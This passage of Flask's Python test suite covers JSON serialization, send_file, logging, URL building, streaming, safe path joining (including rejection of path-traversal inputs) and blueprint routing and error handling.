        @app.route('/json', methods=['POST'])
        def return_json():
            return flask.request.get_json()
        c = app.test_client()
        rv = c.post('/json', data='"foo"', content_type='application/x+json')
        assert rv.data == b'foo'

    def test_json_body_encoding(self):
        app = flask.Flask(__name__)
        app.testing = True
        @app.route('/')
        def index():
            return flask.request.get_json()

        c = app.test_client()
        resp = c.get('/', data=u'"Hällo Wörld"'.encode('iso-8859-15'),
                     content_type='application/json; charset=iso-8859-15')
        assert resp.data == u'Hällo Wörld'.encode('utf-8')

    def test_json_as_unicode(self):
        app = flask.Flask(__name__)

        app.config['JSON_AS_ASCII'] = True
        with app.app_context():
            rv = flask.json.dumps(u'\N{SNOWMAN}')
            assert rv == '"\\u2603"'

        app.config['JSON_AS_ASCII'] = False
        with app.app_context():
            rv = flask.json.dumps(u'\N{SNOWMAN}')
            assert rv == u'"\u2603"'

    def test_json_dump_to_file(self):
        app = flask.Flask(__name__)
        test_data = {'name': 'Flask'}
        out = StringIO()

        with app.app_context():
            flask.json.dump(test_data, out)
            out.seek(0)
            rv = flask.json.load(out)
            assert rv == test_data

    def test_jsonify_basic_types(self):
        """Test jsonify with basic types."""
        # Should be able to use pytest parametrize on this, but I couldn't
        # figure out the correct syntax
        # https://pytest.org/latest/parametrize.html#pytest-mark-parametrize-parametrizing-test-functions
        test_data = (0, 1, 23, 3.14, 's', "longer string", True, False,)
        app = flask.Flask(__name__)
        c = app.test_client()
        for i, d in enumerate(test_data):
            url = '/jsonify_basic_types{0}'.format(i)
            app.add_url_rule(url, str(i), lambda x=d: flask.jsonify(x))
            rv = c.get(url)
            assert rv.mimetype == 'application/json'
            assert flask.json.loads(rv.data) == d

    def test_jsonify_dicts(self):
        """Test jsonify with dicts and kwargs unpacking."""
        d = dict(
            a=0, b=23, c=3.14, d='t', e='Hi', f=True, g=False,
            h=['test list', 10, False],
            i={'test':'dict'}
        )
        app = flask.Flask(__name__)
        @app.route('/kw')
        def return_kwargs():
            return flask.jsonify(**d)
        @app.route('/dict')
        def return_dict():
            return flask.jsonify(d)
        c = app.test_client()
        for url in '/kw', '/dict':
            rv = c.get(url)
            assert rv.mimetype == 'application/json'
            assert flask.json.loads(rv.data) == d

    def test_jsonify_arrays(self):
        """Test jsonify of lists and args unpacking."""
        l = [
            0, 42, 3.14, 't', 'hello', True, False,
            ['test list', 2, False],
            {'test':'dict'}
        ]
        app = flask.Flask(__name__)
        @app.route('/args_unpack')
        def return_args_unpack():
            return flask.jsonify(*l)
        @app.route('/array')
        def return_array():
            return flask.jsonify(l)
        c = app.test_client()
        for url in '/args_unpack', '/array':
            rv = c.get(url)
            assert rv.mimetype == 'application/json'
            assert flask.json.loads(rv.data) == l

    def test_jsonify_date_types(self):
        """Test jsonify with datetime.date and datetime.datetime types."""

        test_dates = (
            datetime.datetime(1973, 3, 11, 6, 30, 45),
            datetime.date(1975, 1, 5)
        )

        app = flask.Flask(__name__)
        c = app.test_client()

        for i, d in enumerate(test_dates):
            url = '/datetest{0}'.format(i)
            app.add_url_rule(url, str(i), lambda val=d: flask.jsonify(x=val))
            rv = c.get(url)
            assert rv.mimetype == 'application/json'
            assert flask.json.loads(rv.data)['x'] == http_date(d.timetuple())

    def test_jsonify_uuid_types(self):
        """Test jsonify with uuid.UUID types"""

        test_uuid = uuid.UUID(bytes=b'\xDE\xAD\xBE\xEF'*4)

        app = flask.Flask(__name__)
        url = '/uuid_test'
        app.add_url_rule(url, url, lambda: flask.jsonify(x=test_uuid))

        c = app.test_client()
        rv = c.get(url)

        rv_x = flask.json.loads(rv.data)['x']
        assert rv_x == str(test_uuid)
        rv_uuid = uuid.UUID(rv_x)
        assert rv_uuid == test_uuid

    def test_json_attr(self):
        app = flask.Flask(__name__)
        @app.route('/add', methods=['POST'])
        def add():
            json = flask.request.get_json()
            return text_type(json['a'] + json['b'])
        c = app.test_client()
        rv = c.post('/add', data=flask.json.dumps({'a': 1, 'b': 2}),
                            content_type='application/json')
        assert rv.data == b'3'

    def test_template_escaping(self):
        app = flask.Flask(__name__)
        render = flask.render_template_string
        with app.test_request_context():
            rv = flask.json.htmlsafe_dumps('</script>')
            assert rv == u'"\\u003c/script\\u003e"'
            assert type(rv) == text_type
            rv = render('{{ "</script>"|tojson }}')
            assert rv == '"\\u003c/script\\u003e"'
            rv = render('{{ "<\0/script>"|tojson }}')
            assert rv == '"\\u003c\\u0000/script\\u003e"'
            rv = render('{{ "<!--<script>"|tojson }}')
            assert rv == '"\\u003c!--\\u003cscript\\u003e"'
            rv = render('{{ "&"|tojson }}')
            assert rv == '"\\u0026"'
            rv = render('{{ "\'"|tojson }}')
            assert rv == '"\\u0027"'
            rv = render("<a ng-data='{{ data|tojson }}'></a>",
                data={'x': ["foo", "bar", "baz'"]})
            assert rv == '<a ng-data=\'{"x": ["foo", "bar", "baz\\u0027"]}\'></a>'

    def test_json_customization(self):
        class X(object):
            def __init__(self, val):
                self.val = val
        class MyEncoder(flask.json.JSONEncoder):
            def default(self, o):
                if isinstance(o, X):
                    return '<%d>' % o.val
                return flask.json.JSONEncoder.default(self, o)
        class MyDecoder(flask.json.JSONDecoder):
            def __init__(self, *args, **kwargs):
                kwargs.setdefault('object_hook', self.object_hook)
                flask.json.JSONDecoder.__init__(self, *args, **kwargs)
            def object_hook(self, obj):
                if len(obj) == 1 and '_foo' in obj:
                    return X(obj['_foo'])
                return obj
        app = flask.Flask(__name__)
        app.testing = True
        app.json_encoder = MyEncoder
        app.json_decoder = MyDecoder
        @app.route('/', methods=['POST'])
        def index():
            return flask.json.dumps(flask.request.get_json()['x'])
        c = app.test_client()
        rv = c.post('/', data=flask.json.dumps({
            'x': {'_foo': 42}
        }), content_type='application/json')
        assert rv.data == b'"<42>"'

    def test_modified_url_encoding(self):
        class ModifiedRequest(flask.Request):
            url_charset = 'euc-kr'
        app = flask.Flask(__name__)
        app.testing = True
        app.request_class = ModifiedRequest
        app.url_map.charset = 'euc-kr'

        @app.route('/')
        def index():
            return flask.request.args['foo']

        rv = app.test_client().get(u'/?foo=정상처리'.encode('euc-kr'))
        assert rv.status_code == 200
        assert rv.data == u'정상처리'.encode('utf-8')

    if not has_encoding('euc-kr'):
        test_modified_url_encoding = None

    def test_json_key_sorting(self):
        app = flask.Flask(__name__)
        app.testing = True
        assert app.config['JSON_SORT_KEYS'] == True
        d = dict.fromkeys(range(20), 'foo')

        @app.route('/')
        def index():
            return flask.jsonify(values=d)

        c = app.test_client()
        rv = c.get('/')
        lines = [x.strip() for x in rv.data.strip().decode('utf-8').splitlines()]
        sorted_by_str = [
            '{',
            '"values": {',
            '"0": "foo",',
            '"1": "foo",',
            '"10": "foo",',
            '"11": "foo",',
            '"12": "foo",',
            '"13": "foo",',
            '"14": "foo",',
            '"15": "foo",',
            '"16": "foo",',
            '"17": "foo",',
            '"18": "foo",',
            '"19": "foo",',
            '"2": "foo",',
            '"3": "foo",',
            '"4": "foo",',
            '"5": "foo",',
            '"6": "foo",',
            '"7": "foo",',
            '"8": "foo",',
            '"9": "foo"',
            '}',
            '}'
        ]
        sorted_by_int = [
            '{',
            '"values": {',
            '"0": "foo",',
            '"1": "foo",',
            '"2": "foo",',
            '"3": "foo",',
            '"4": "foo",',
            '"5": "foo",',
            '"6": "foo",',
            '"7": "foo",',
            '"8": "foo",',
            '"9": "foo",',
            '"10": "foo",',
            '"11": "foo",',
            '"12": "foo",',
            '"13": "foo",',
            '"14": "foo",',
            '"15": "foo",',
            '"16": "foo",',
            '"17": "foo",',
            '"18": "foo",',
            '"19": "foo"',
            '}',
            '}'
        ]

        try:
            assert lines == sorted_by_int
        except AssertionError:
            assert lines == sorted_by_str

class TestSendfile(object):

    def test_send_file_regular(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            rv = flask.send_file('static/index.html')
            assert rv.direct_passthrough
            assert rv.mimetype == 'text/html'
            with app.open_resource('static/index.html') as f:
                rv.direct_passthrough = False
                assert rv.data == f.read()
            rv.close()

    def test_send_file_xsendfile(self, catch_deprecation_warnings):
        app = flask.Flask(__name__)
        app.use_x_sendfile = True
        with app.test_request_context():
            rv = flask.send_file('static/index.html')
            assert rv.direct_passthrough
            assert 'x-sendfile' in rv.headers
            assert rv.headers['x-sendfile'] == \
                os.path.join(app.root_path, 'static/index.html')
            assert rv.mimetype == 'text/html'
            rv.close()

    def test_send_file_last_modified(self):
        app = flask.Flask(__name__)
        last_modified = datetime.datetime(1999, 1, 1)

        @app.route('/')
        def index():
            return flask.send_file(StringIO("party like it's"), last_modified=last_modified)

        c = app.test_client()
        rv = c.get('/')
        assert rv.last_modified == last_modified

    def test_send_file_object(self):
        app = flask.Flask(__name__)

        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html'), mode='rb') as f:
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                with app.open_resource('static/index.html') as f:
                    assert rv.data == f.read()
                assert rv.mimetype == 'text/html'
                rv.close()

        app.use_x_sendfile = True

        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f)
                assert rv.mimetype == 'text/html'
                assert 'x-sendfile' in rv.headers
                assert rv.headers['x-sendfile'] == \
                    os.path.join(app.root_path, 'static/index.html')
                rv.close()

        app.use_x_sendfile = False
        with app.test_request_context():
            f = StringIO('Test')
            rv = flask.send_file(f)
            rv.direct_passthrough = False
            assert rv.data == b'Test'
            assert rv.mimetype == 'application/octet-stream'
            rv.close()

            class PyStringIO(object):
                def __init__(self, *args, **kwargs):
                    self._io = StringIO(*args, **kwargs)
                def __getattr__(self, name):
                    return getattr(self._io, name)
            f = PyStringIO('Test')
            f.name = 'test.txt'
            rv = flask.send_file(f)
            rv.direct_passthrough = False
            assert rv.data == b'Test'
            assert rv.mimetype == 'text/plain'
            rv.close()

            f = StringIO('Test')
            rv = flask.send_file(f, mimetype='text/plain')
            rv.direct_passthrough = False
            assert rv.data == b'Test'
            assert rv.mimetype == 'text/plain'
            rv.close()

        app.use_x_sendfile = True

        with app.test_request_context():
            f = StringIO('Test')
            rv = flask.send_file(f)
            assert 'x-sendfile' not in rv.headers
            rv.close()

    def test_attachment(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f, as_attachment=True)
                value, options = \
                    parse_options_header(rv.headers['Content-Disposition'])
                assert value == 'attachment'
                rv.close()

        with app.test_request_context():
            assert options['filename'] == 'index.html'
            rv = flask.send_file('static/index.html', as_attachment=True)
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.html'
            rv.close()

        with app.test_request_context():
            rv = flask.send_file(StringIO('Test'), as_attachment=True,
                                 attachment_filename='index.txt',
                                 add_etags=False)
            assert rv.mimetype == 'text/plain'
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.txt'
            rv.close()

    def test_static_file(self):
        app = flask.Flask(__name__)
        # default cache timeout is 12 hours
        with app.test_request_context():
            # Test with static file handler.
            rv = app.send_static_file('index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 12 * 60 * 60
            rv.close()
            # Test again with direct use of send_file utility.
            rv = flask.send_file('static/index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 12 * 60 * 60
            rv.close()
        app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 3600
        with app.test_request_context():
            # Test with static file handler.
            rv = app.send_static_file('index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 3600
            rv.close()
            # Test again with direct use of send_file utility.
            rv = flask.send_file('static/index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 3600
            rv.close()
        class StaticFileApp(flask.Flask):
            def get_send_file_max_age(self, filename):
                return 10
        app = StaticFileApp(__name__)
        with app.test_request_context():
            # Test with static file handler.
            rv = app.send_static_file('index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 10
            rv.close()
            # Test again with direct use of send_file utility.
            rv = flask.send_file('static/index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 10
            rv.close()

    def test_send_from_directory(self):
        app = flask.Flask(__name__)
        app.testing = True
        app.root_path = os.path.join(os.path.dirname(__file__),
                                     'test_apps', 'subdomaintestmodule')
        with app.test_request_context():
            rv = flask.send_from_directory('static', 'hello.txt')
            rv.direct_passthrough = False
            assert rv.data.strip() == b'Hello Subdomain'
            rv.close()

    def test_send_from_directory_bad_request(self):
        app = flask.Flask(__name__)
        app.testing = True
        app.root_path = os.path.join(os.path.dirname(__file__),
                                     'test_apps', 'subdomaintestmodule')
        with app.test_request_context():
            with pytest.raises(BadRequest):
                flask.send_from_directory('static', 'bad\x00')

class TestLogging(object):

    def test_logger_cache(self):
        app = flask.Flask(__name__)
        logger1 = app.logger
        assert app.logger is logger1
        assert logger1.name == __name__
        app.logger_name = __name__ + '/test_logger_cache'
        assert app.logger is not logger1

    def test_debug_log(self, capsys):
        app = flask.Flask(__name__)
        app.debug = True

        @app.route('/')
        def index():
            app.logger.warning('the standard library is dead')
            app.logger.debug('this is a debug statement')
            return ''

        @app.route('/exc')
        def exc():
            1 // 0

        with app.test_client() as c:
            c.get('/')
            out, err = capsys.readouterr()
            assert 'WARNING in test_helpers [' in err
            assert os.path.basename(__file__.rsplit('.', 1)[0] + '.py') in err
            assert 'the standard library is dead' in err
            assert 'this is a debug statement' in err

            with pytest.raises(ZeroDivisionError):
                c.get('/exc')

    def test_debug_log_override(self):
        app = flask.Flask(__name__)
        app.debug = True
        app.logger_name = 'flask_tests/test_debug_log_override'
        app.logger.level = 10
        assert app.logger.level == 10

    def test_exception_logging(self):
        out = StringIO()
        app = flask.Flask(__name__)
        app.config['LOGGER_HANDLER_POLICY'] = 'never'
        app.logger_name = 'flask_tests/test_exception_logging'
        app.logger.addHandler(StreamHandler(out))

        @app.route('/')
        def index():
            1 // 0

        rv = app.test_client().get('/')
        assert rv.status_code == 500
        assert b'Internal Server Error' in rv.data

        err = out.getvalue()
        assert 'Exception on / [GET]' in err
        assert 'Traceback (most recent call last):' in err
        assert '1 // 0' in err
        assert 'ZeroDivisionError:' in err

    def test_processor_exceptions(self):
        app = flask.Flask(__name__)
        app.config['LOGGER_HANDLER_POLICY'] = 'never'
        @app.before_request
        def before_request():
            if trigger == 'before':
                1 // 0
        @app.after_request
        def after_request(response):
            if trigger == 'after':
                1 // 0
            return response
        @app.route('/')
        def index():
            return 'Foo'
        @app.errorhandler(500)
        def internal_server_error(e):
            return 'Hello Server Error', 500
        for trigger in 'before', 'after':
            rv = app.test_client().get('/')
            assert rv.status_code == 500
            assert rv.data == b'Hello Server Error'

    def test_url_for_with_anchor(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            assert flask.url_for('index', _anchor='x y') == '/#x%20y'

    def test_url_for_with_scheme(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            assert flask.url_for('index', _external=True, _scheme='https') == 'https://localhost/'

    def test_url_for_with_scheme_not_external(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            pytest.raises(ValueError,
                               flask.url_for,
                               'index',
                               _scheme='https')

    def test_url_for_with_alternating_schemes(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            assert flask.url_for('index', _external=True) == 'http://localhost/'
            assert flask.url_for('index', _external=True, _scheme='https') == 'https://localhost/'
            assert flask.url_for('index', _external=True) == 'http://localhost/'

    def test_url_with_method(self):
        from flask.views import MethodView
        app = flask.Flask(__name__)
        class MyView(MethodView):
            def get(self, id=None):
                if id is None:
                    return 'List'
                return 'Get %d' % id
            def post(self):
                return 'Create'
        myview = MyView.as_view('myview')
        app.add_url_rule('/myview/', methods=['GET'],
                         view_func=myview)
        app.add_url_rule('/myview/<int:id>', methods=['GET'],
                         view_func=myview)
        app.add_url_rule('/myview/create', methods=['POST'],
                         view_func=myview)

        with app.test_request_context():
            assert flask.url_for('myview', _method='GET') == '/myview/'
            assert flask.url_for('myview', id=42, _method='GET') == '/myview/42'
            assert flask.url_for('myview', _method='POST') == '/myview/create'


class TestNoImports(object):
    """Test Flasks are created without import.

    Avoiding ``__import__`` helps create Flask instances where there are errors
    at import time.  Those runtime errors will be apparent to the user soon
    enough, but tools which build Flask instances meta-programmatically benefit
    from a Flask which does not ``__import__``.  Instead of importing to
    retrieve file paths or metadata on a module or package, use the pkgutil and
    imp modules in the Python standard library.
    """

    def test_name_with_import_error(self, modules_tmpdir):
        modules_tmpdir.join('importerror.py').write('raise NotImplementedError()')
        try:
            flask.Flask('importerror')
        except NotImplementedError:
            assert False, 'Flask(import_name) is importing import_name.'


class TestStreaming(object):

    def test_streaming_with_context(self):
        app = flask.Flask(__name__)
        app.testing = True
        @app.route('/')
        def index():
            def generate():
                yield 'Hello '
                yield flask.request.args['name']
                yield '!'
            return flask.Response(flask.stream_with_context(generate()))
        c = app.test_client()
        rv = c.get('/?name=World')
        assert rv.data == b'Hello World!'

    def test_streaming_with_context_as_decorator(self):
        app = flask.Flask(__name__)
        app.testing = True
        @app.route('/')
        def index():
            @flask.stream_with_context
            def generate(hello):
                yield hello
                yield flask.request.args['name']
                yield '!'
            return flask.Response(generate('Hello '))
        c = app.test_client()
        rv = c.get('/?name=World')
        assert rv.data == b'Hello World!'

    def test_streaming_with_context_and_custom_close(self):
        app = flask.Flask(__name__)
        app.testing = True
        called = []
        class Wrapper(object):
            def __init__(self, gen):
                self._gen = gen
            def __iter__(self):
                return self
            def close(self):
                called.append(42)
            def __next__(self):
                return next(self._gen)
            next = __next__
        @app.route('/')
        def index():
            def generate():
                yield 'Hello '
                yield flask.request.args['name']
                yield '!'
            return flask.Response(flask.stream_with_context(
                Wrapper(generate())))
        c = app.test_client()
        rv = c.get('/?name=World')
        assert rv.data == b'Hello World!'
        assert called == [42]


class TestSafeJoin(object):

    def test_safe_join(self):
        # Valid combinations of *args and expected joined paths.
        passing = (
            (('a/b/c', ), 'a/b/c'),
            (('/', 'a/', 'b/', 'c/', ), '/a/b/c'),
            (('a', 'b', 'c', ), 'a/b/c'),
            (('/a', 'b/c', ), '/a/b/c'),
            (('a/b', 'X/../c'), 'a/b/c', ),
            (('/a/b', 'c/X/..'), '/a/b/c', ),
            # If last path is '' add a slash
            (('/a/b/c', '', ), '/a/b/c/', ),
            # Preserve dot slash
            (('/a/b/c', './', ), '/a/b/c/.', ),
            (('a/b/c', 'X/..'), 'a/b/c/.', ),
            # Base directory is always considered safe
            (('../', 'a/b/c'), '../a/b/c'),
            (('/..', ), '/..'),
        )

        for args, expected in passing:
            assert flask.safe_join(*args) == expected

    def test_safe_join_exceptions(self):
        # Should raise werkzeug.exceptions.NotFound on unsafe joins.
        failing = (
            # path.isabs and ``..'' checks
            ('/a', 'b', '/c'),
            ('/a', '../b/c', ),
            ('/a', '..', 'b/c'),
            # Boundaries violations after path normalization
            ('/a', 'b/../b/../../c', ),
            ('/a', 'b', 'c/../..'),
            ('/a', 'b/../../c', ),
        )

        for args in failing:
            with pytest.raises(NotFound):
                print(flask.safe_join(*args))






# -*- coding: utf-8 -*-
"""
    tests.blueprints
    ~~~~~~~~~~~~~~~~

    Blueprints (and currently modules)

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask

from flask._compat import text_type
from werkzeug.http import parse_cache_control_header
from jinja2 import TemplateNotFound


def test_blueprint_specific_error_handling():
    frontend = flask.Blueprint('frontend', __name__)
    backend = flask.Blueprint('backend', __name__)
    sideend = flask.Blueprint('sideend', __name__)

    @frontend.errorhandler(403)
    def frontend_forbidden(e):
        return 'frontend says no', 403

    @frontend.route('/frontend-no')
    def frontend_no():
        flask.abort(403)

    @backend.errorhandler(403)
    def backend_forbidden(e):
        return 'backend says no', 403

    @backend.route('/backend-no')
    def backend_no():
        flask.abort(403)

    @sideend.route('/what-is-a-sideend')
    def sideend_no():
        flask.abort(403)

    app = flask.Flask(__name__)
    app.register_blueprint(frontend)
    app.register_blueprint(backend)
    app.register_blueprint(sideend)

    @app.errorhandler(403)
    def app_forbidden(e):
        return 'application itself says no', 403

    c = app.test_client()

    assert c.get('/frontend-no').data == b'frontend says no'
    assert c.get('/backend-no').data == b'backend says no'
    assert c.get('/what-is-a-sideend').data == b'application itself says no'

def test_blueprint_specific_user_error_handling():
    class MyDecoratorException(Exception):
        pass
    class MyFunctionException(Exception):
        pass

    blue = flask.Blueprint('blue', __name__)

    @blue.errorhandler(MyDecoratorException)
    def my_decorator_exception_handler(e):
        assert isinstance(e, MyDecoratorException)
        return 'boom'

    def my_function_exception_handler(e):
        assert isinstance(e, MyFunctionException)
        return 'bam'
    blue.register_error_handler(MyFunctionException, my_function_exception_handler)

    @blue.route('/decorator')
    def blue_deco_test():
        raise MyDecoratorException()
    @blue.route('/function')
    def blue_func_test():
        raise MyFunctionException()

    app = flask.Flask(__name__)
    app.register_blueprint(blue)

    c = app.test_client()

    assert c.get('/decorator').data == b'boom'
    assert c.get('/function').data == b'bam'

def test_blueprint_url_definitions():
    bp = flask.Blueprint('test', __name__)

    @bp.route('/foo', defaults={'baz': 42})
    def foo(bar, baz):
        return '%s/%d' % (bar, baz)

    @bp.route('/bar')
    def bar(bar):
        return text_type(bar)

    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/1', url_defaults={'bar': 23})
    app.register_blueprint(bp, url_prefix='/2', url_defaults={'bar': 19})

    c = app.test_client()
    assert c.get('/1/foo').data == b'23/42'
    assert c.get('/2/foo').data == b'19/42'
    assert c.get('/1/bar').data == b'23'
    assert c.get('/2/bar').data == b'19'

def test_blueprint_url_processors():
    bp = flask.Blueprint('frontend', __name__, url_prefix='/<lang_code>')

    @bp.url_defaults
    def add_language_code(endpoint, values):
        values.setdefault('lang_code', flask.g.lang_code)

    @bp.url_value_preprocessor
    def pull_lang_code(endpoint, values):
        flask.g.lang_code = values.pop('lang_code')

    @bp.route('/')
    def index():
        return flask.url_for('.about')

    @bp.route('/about')
    def about():
        return flask.url_for('.index')

    app = flask.Flask(__name__)
    app.register_blueprint(bp)

    c = app.test_client()

    assert c.get('/de/').data == b'/de/about'
    assert c.get('/de/about').data == b'/de/'

def test_templates_and_static(test_apps):
    from blueprintapp import app
    c = app.test_client()

    rv = c.get('/')
    assert rv.data == b'Hello from the Frontend'
    rv = c.get('/admin/')
    assert rv.data == b'Hello from the Admin'
    rv = c.get('/admin/index2')
    assert rv.data == b'Hello from the Admin'
    rv = c.get('/admin/static/test.txt')
    assert rv.data.strip() == b'Admin File'
    rv.close()
    rv = c.get('/admin/static/css/test.css')
    assert rv.data.strip() == b'/* nested file */'
    rv.close()

    # try/finally, in case other tests use this app for Blueprint tests.
    max_age_default = app.config['SEND_FILE_MAX_AGE_DEFAULT']
    try:
        expected_max_age = 3600
        if app.config['SEND_FILE_MAX_AGE_DEFAULT'] == expected_max_age:
            expected_max_age = 7200
        app.config['SEND_FILE_MAX_AGE_DEFAULT'] = expected_max_age
        rv = c.get('/admin/static/css/test.css')
        cc = parse_cache_control_header(rv.headers['Cache-Control'])
        assert cc.max_age == expected_max_age
        rv.close()
    finally:
        app.config['SEND_FILE_MAX_AGE_DEFAULT'] = max_age_default

    with app.test_request_context():
        assert flask.url_for('admin.static', filename='test.txt') == '/admin/static/test.txt'

    with app.test_request_context():
        with pytest.raises(TemplateNotFound) as e:
            flask.render_template('missing.html')
        assert e.value.name == 'missing.html'

    with flask.Flask(__name__).test_request_context():
        assert flask.render_template('nested/nested.txt') == 'I\'m nested'

def test_default_static_cache_timeout():
    app = flask.Flask(__name__)
    class MyBlueprint(flask.Blueprint):
        def get_send_file_max_age(self, filename):
            return 100

    blueprint = MyBlueprint('blueprint', __name__, static_folder='static')
    app.register_blueprint(blueprint)

    # try/finally, in case other tests use this app for Blueprint tests.
    max_age_default = app.config['SEND_FILE_MAX_AGE_DEFAULT']
    try:
        with app.test_request_context():
            unexpected_max_age = 3600
            if app.config['SEND_FILE_MAX_AGE_DEFAULT'] == unexpected_max_age:
                unexpected_max_age = 7200
            app.config['SEND_FILE_MAX_AGE_DEFAULT'] = unexpected_max_age
            rv = blueprint.send_static_file('index.html')
            cc = parse_cache_control_header(rv.headers['Cache-Control'])
            assert cc.max_age == 100
            rv.close()
    finally:
        app.config['SEND_FILE_MAX_AGE_DEFAULT'] = max_age_default

def test_templates_list(test_apps):
    from blueprintapp import app
    templates = sorted(app.jinja_env.list_templates())
    assert templates == ['admin/index.html', 'frontend/index.html']

def test_dotted_names():
    frontend = flask.Blueprint('myapp.frontend', __name__)
    backend = flask.Blueprint('myapp.backend', __name__)

    @frontend.route('/fe')
    def frontend_index():
        return flask.url_for('myapp.backend.backend_index')

    @frontend.route('/fe2')
    def frontend_page2():
        return flask.url_for('.frontend_index')

    @backend.route('/be')
    def backend_index():
        return flask.url_for('myapp.frontend.frontend_index')

    app = flask.Flask(__name__)
    app.register_blueprint(frontend)
    app.register_blueprint(backend)

    c = app.test_client()
    assert c.get('/fe').data.strip() == b'/be'
    assert c.get('/fe2').data.strip() == b'/fe'
    assert c.get('/be').data.strip() == b'/fe'

def test_dotted_names_from_app():
    app = flask.Flask(__name__)
    app.testing = True
    test = flask.Blueprint('test', __name__)

    @app.route('/')
    def app_index():
        return flask.url_for('test.index')

    @test.route('/test/')
    def index():
        return flask.url_for('app_index')

    app.register_blueprint(test)

    with app.test_client() as c:
        rv = c.get('/')
        assert rv.data == b'/test/'

def test_empty_url_defaults():
    bp = flask.Blueprint('bp', __name__)

    @bp.route('/', defaults={'page': 1})
    @bp.route('/page/<int:page>')
    def something(page):
        return str(page)

    app = flask.Flask(__name__)
    app.register_blueprint(bp)

    c = app.test_client()
    assert c.get('/').data == b'1'
    assert c.get('/page/2').data == b'2'

def test_route_decorator_custom_endpoint():

    bp = flask.Blueprint('bp', __name__)

    @bp.route('/foo')
    def foo():
        return flask.request.endpoint

    @bp.route('/bar', endpoint='bar')
    def foo_bar():
        return flask.request.endpoint

    @bp.route('/bar/123', endpoint='123')
    def foo_bar_foo():
        return flask.request.endpoint

    @bp.route('/bar/foo')
    def bar_foo():
        return flask.request.endpoint

    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')

    @app.route('/')
    def index():
        return flask.request.endpoint

    c = app.test_client()
    assert c.get('/').data == b'index'
    assert c.get('/py/foo').data == b'bp.foo'
    assert c.get('/py/bar').data == b'bp.bar'
    assert c.get('/py/bar/123').data == b'bp.123'
    assert c.get('/py/bar/foo').data == b'bp.bar_foo'

def test_route_decorator_custom_endpoint_with_dots():
    bp = flask.Blueprint('bp', __name__)

    @bp.route('/foo')
    def foo():
        return flask.request.endpoint

    try:
        @bp.route('/bar', endpoint='bar.bar')
        def foo_bar():
            return flask.request.endpoint
    except AssertionError:
        pass
    else:
        raise AssertionError('expected AssertionError not raised')

    try:
        @bp.route('/bar/123', endpoint='bar.123')
        def foo_bar_foo():
            return flask.request.endpoint
    except AssertionError:
        pass
    else:
        raise AssertionError('expected AssertionError not raised')

    def foo_foo_foo():
        pass

    pytest.raises(
        AssertionError,
        lambda: bp.add_url_rule(
            '/bar/123', endpoint='bar.123', view_func=foo_foo_foo
        )
    )

    pytest.raises(
        AssertionError,
        bp.route('/bar/123', endpoint='bar.123'),
        lambda: None
    )

    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')

    c = app.test_client()
    assert c.get('/py/foo').data == b'bp.foo'
    # The rule's didn't actually made it through
    rv = c.get('/py/bar')
    assert rv.status_code == 404
    rv = c.get('/py/bar/123')
    assert rv.status_code == 404

def test_template_filter():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_filter()
    def my_reverse(s):
        return s[::-1]
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'my_reverse' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['my_reverse'] == my_reverse
    assert app.jinja_env.filters['my_reverse']('abcd') == 'dcba'

def test_add_template_filter():
    bp = flask.Blueprint('bp', __name__)
    def my_reverse(s):
        return s[::-1]
    bp.add_app_template_filter(my_reverse)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'my_reverse' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['my_reverse'] == my_reverse
    assert app.jinja_env.filters['my_reverse']('abcd') == 'dcba'

def test_template_filter_with_name():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_filter('strrev')
    def my_reverse(s):
        return s[::-1]
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'strrev' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['strrev'] == my_reverse
    assert app.jinja_env.filters['strrev']('abcd') == 'dcba'

def test_add_template_filter_with_name():
    bp = flask.Blueprint('bp', __name__)
    def my_reverse(s):
        return s[::-1]
    bp.add_app_template_filter(my_reverse, 'strrev')
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'strrev' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['strrev'] == my_reverse
    assert app.jinja_env.filters['strrev']('abcd') == 'dcba'

def test_template_filter_with_template():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_filter()
    def super_reverse(s):
        return s[::-1]
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

